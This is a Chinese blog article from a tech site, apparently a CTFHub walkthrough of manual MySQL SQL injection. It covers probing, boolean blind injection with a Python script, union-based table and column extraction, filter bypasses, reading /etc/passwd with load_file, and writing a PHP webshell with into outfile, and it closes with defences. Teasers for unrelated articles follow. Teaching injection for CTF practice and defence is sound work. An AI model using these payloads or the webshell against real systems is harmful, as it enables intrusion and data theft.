news 2026/7/6 4:53:25

CTFHub | 从零到一:手工SQL注入实战剖析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFHub | 从零到一:手工SQL注入实战剖析

1. 手工SQL注入入门指南

第一次接触CTF比赛时,看到SQL注入题目总有种无从下手的感觉。记得我当初在CTFHub上做第一道MySQL注入题,整整卡了两天。后来才发现,手工注入其实就像玩解谜游戏,关键在于找到正确的线索和解题顺序。

手工SQL注入是通过构造特殊输入,让数据库执行非预期查询的技术。与自动化工具不同,手工注入需要理解每一步的原理。比如输入1' and 1=1 --时,实际执行的SQL语句会变成:

SELECT * FROM users WHERE id='1' and 1=1 -- '

这个简单的例子中,--注释掉了原查询的剩余部分,而and 1=1永远为真。如果页面正常显示,说明我们的输入被当作SQL执行了。

2. 注入点探测与确认

2.1 初识注入点

在CTFHub的题目中,通常会给出一个带参数的URL,比如http://example.com/?id=1。我的习惯是先尝试以下测试:

  1. 输入id=1':观察是否报错
  2. 输入id=1' --:看是否恢复正常
  3. 尝试id=1 and 1=1id=1 and 1=2

最近遇到一个有趣的案例:某次比赛中的页面在id=1'时报错,但id=1' --却返回空白。后来发现需要用#注释而不是--,这就是不同数据库的语法差异。

2.2 布尔盲注技巧

当页面没有明显回显时,可以尝试基于布尔的判断。比如:

id=1' and substring(database(),1,1)='a' --

通过逐个字符猜测数据库名。我通常会写个Python脚本自动化这个过程:

import requests charset = "abcdefghijklmnopqrstuvwxyz_" url = "http://example.com/?id=1' and substring(database(),1,1)='{}' -- " for c in charset: r = requests.get(url.format(c)) if "content" in r.text: # 根据实际页面特征调整 print(f"Found: {c}") break

3. 字段数与信息收集

3.1 确定字段数量

使用order by是最可靠的方法。我习惯从order by 10开始二分查找:

?id=1' order by 10 -- # 报错 ?id=1' order by 5 -- # 报错 ?id=1' order by 3 -- # 报错 ?id=1' order by 2 -- # 正常

最近发现MariaDB 10.3+版本对order by的处理有些变化,有时需要尝试group by作为替代。

3.2 信息收集三板斧

知道字段数后,就可以用union查询获取信息:

  1. 版本信息

    id=-1' union select 1,version(),3 --
  2. 数据库名

    id=-1' union select 1,database(),3 --
  3. 表信息

    id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --

提示:遇到group_concat长度限制时,可以用substring(group_concat(...),1,50)分段获取

4. 高级注入技巧实战

4.1 绕过过滤的奇技淫巧

很多CTF题目会过滤常见关键词。有次比赛过滤了select,我用了以下几种方法:

  1. 大小写混合:SeLeCt
  2. 内联注释:/*!select*/
  3. 字符编码:%53%45%4C%45%43%54(SELECT的URL编码)

最有趣的是用join绕过:

id=-1' union select * from (select 1)a join (select database())b --

4.2 文件操作与OS交互

在MySQL中,如果权限足够可以读写文件:

# 读取服务器文件 id=-1' union select 1,load_file('/etc/passwd'),3 -- # 写入webshell id=-1' union select 1,'<?php system($_GET[cmd]); ?>',3 into outfile '/var/www/html/shell.php' --

注意:实际CTF比赛中未经授权的文件操作可能违反规则,务必确认题目允许范围

5. CTFHub实战案例解析

以最近CTFHub的一道题为例,完整流程如下:

  1. 输入?id=1'触发报错,确认存在注入
  2. order by 2正常,order by 3报错,确定2个字段
  3. 使用联合查询:
    id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --
    获取表名users,config
  4. 爆出config表的列名:
    id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='config' --
    发现flag,value两列
  5. 最终获取flag:
    id=-1' union select 1,flag from config --

这个过程中,最耗时的部分是猜解表名。后来发现可以先查询information_schema.tables获取所有表名,而不是盲目猜测。

6. 防御措施与练习建议

虽然我们学习注入是为了CTF比赛,但了解防御同样重要。推荐几种防护方法:

  1. 预处理语句:

    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);
  2. 最小权限原则:数据库用户只赋予必要权限

  3. Web应用防火墙(WAF)规则配置

对于想提升技术的朋友,我建议:

  1. 从DVWA、WebGoat等漏洞练习平台开始
  2. 定期参加CTF比赛积累经验
  3. 阅读MySQL官方文档了解特性
  4. 搭建自己的测试环境反复练习

手工SQL注入就像侦探破案,需要耐心和细心。每次遇到新题型都是学习的机会,记录下解题过程并复盘,技术就会不断提升。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/3 15:53:35

从单向到双向:SBUS2协议如何重塑航模遥测生态

1. SBUS2协议的双向通信革命 航模玩家们对SBUS协议应该不陌生&#xff0c;这个由Futaba开发的串行通信协议多年来一直是遥控器与接收机之间的"高速公路"。但传统SBUS有个致命短板——它就像条单行道&#xff0c;只能从遥控器向接收机发送控制信号&#xff0c;飞控端的…

作者头像 李华
网站建设 2026/7/3 3:17:33

IIC总线驱动框架深度解析与Linux内核实现

1. IIC总线基础与Linux驱动架构全景 IIC&#xff08;Inter-Integrated Circuit&#xff09;总线是飞利浦半导体在1980年代推出的两线式串行通信协议&#xff0c;如今已成为嵌入式系统中最常用的设备间通信标准之一。在Linux内核中&#xff0c;IIC子系统采用典型的三层架构设计&…

作者头像 李华
网站建设 2026/7/3 2:17:35

从‘找得准’到‘找得全’:一文读懂目标检测中的AP与mAP

1. 目标检测中的评估困局&#xff1a;为什么需要AP&#xff1f; 当你第一次拿到目标检测模型的评估报告时&#xff0c;可能会被各种术语搞得晕头转向。我刚开始接触这个领域时&#xff0c;看到AP、mAP、PR曲线这些名词也是一头雾水。后来在实际项目中踩过几次坑才明白&#xf…

作者头像 李华
网站建设 2026/7/3 10:46:39

GHelper:解放华硕笔记本潜能的轻量级控制工具

GHelper&#xff1a;解放华硕笔记本潜能的轻量级控制工具 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, Vivobook, Zenbook, Expertbook…

作者头像 李华
网站建设 2026/7/3 18:25:04

毕业季救星!2026亲测好用的6款AI论文写作软件,初稿轻松搞定

AI论文写作工具推荐 还在为写期刊论文而感到苦恼吗&#xff1f;面对海量的文献资料、繁琐的格式要求&#xff0c;反复的修改过程让很多学术人员感到效率低下。这种状况在学术界普遍存在&#xff01;但别着急&#xff0c;接下来将为大家介绍四款实测推荐的AI论文写作工具&#…

作者头像 李华
网站建设 2026/7/3 1:14:37

高校鱼叉式钓鱼风险与全员共享安全防护体系构建研究

摘要 全球高等教育数字化持续深化&#xff0c;教学云平台、校内统一身份系统承载海量师生隐私、科研与教务数据&#xff0c;教育机构及第三方服务商逐步成为网络攻击核心目标。曼彻斯特大学 2026 年 6 月发布校园安全公告&#xff0c;依托 Canvas 平台大规模勒索泄露事件&#…

作者头像 李华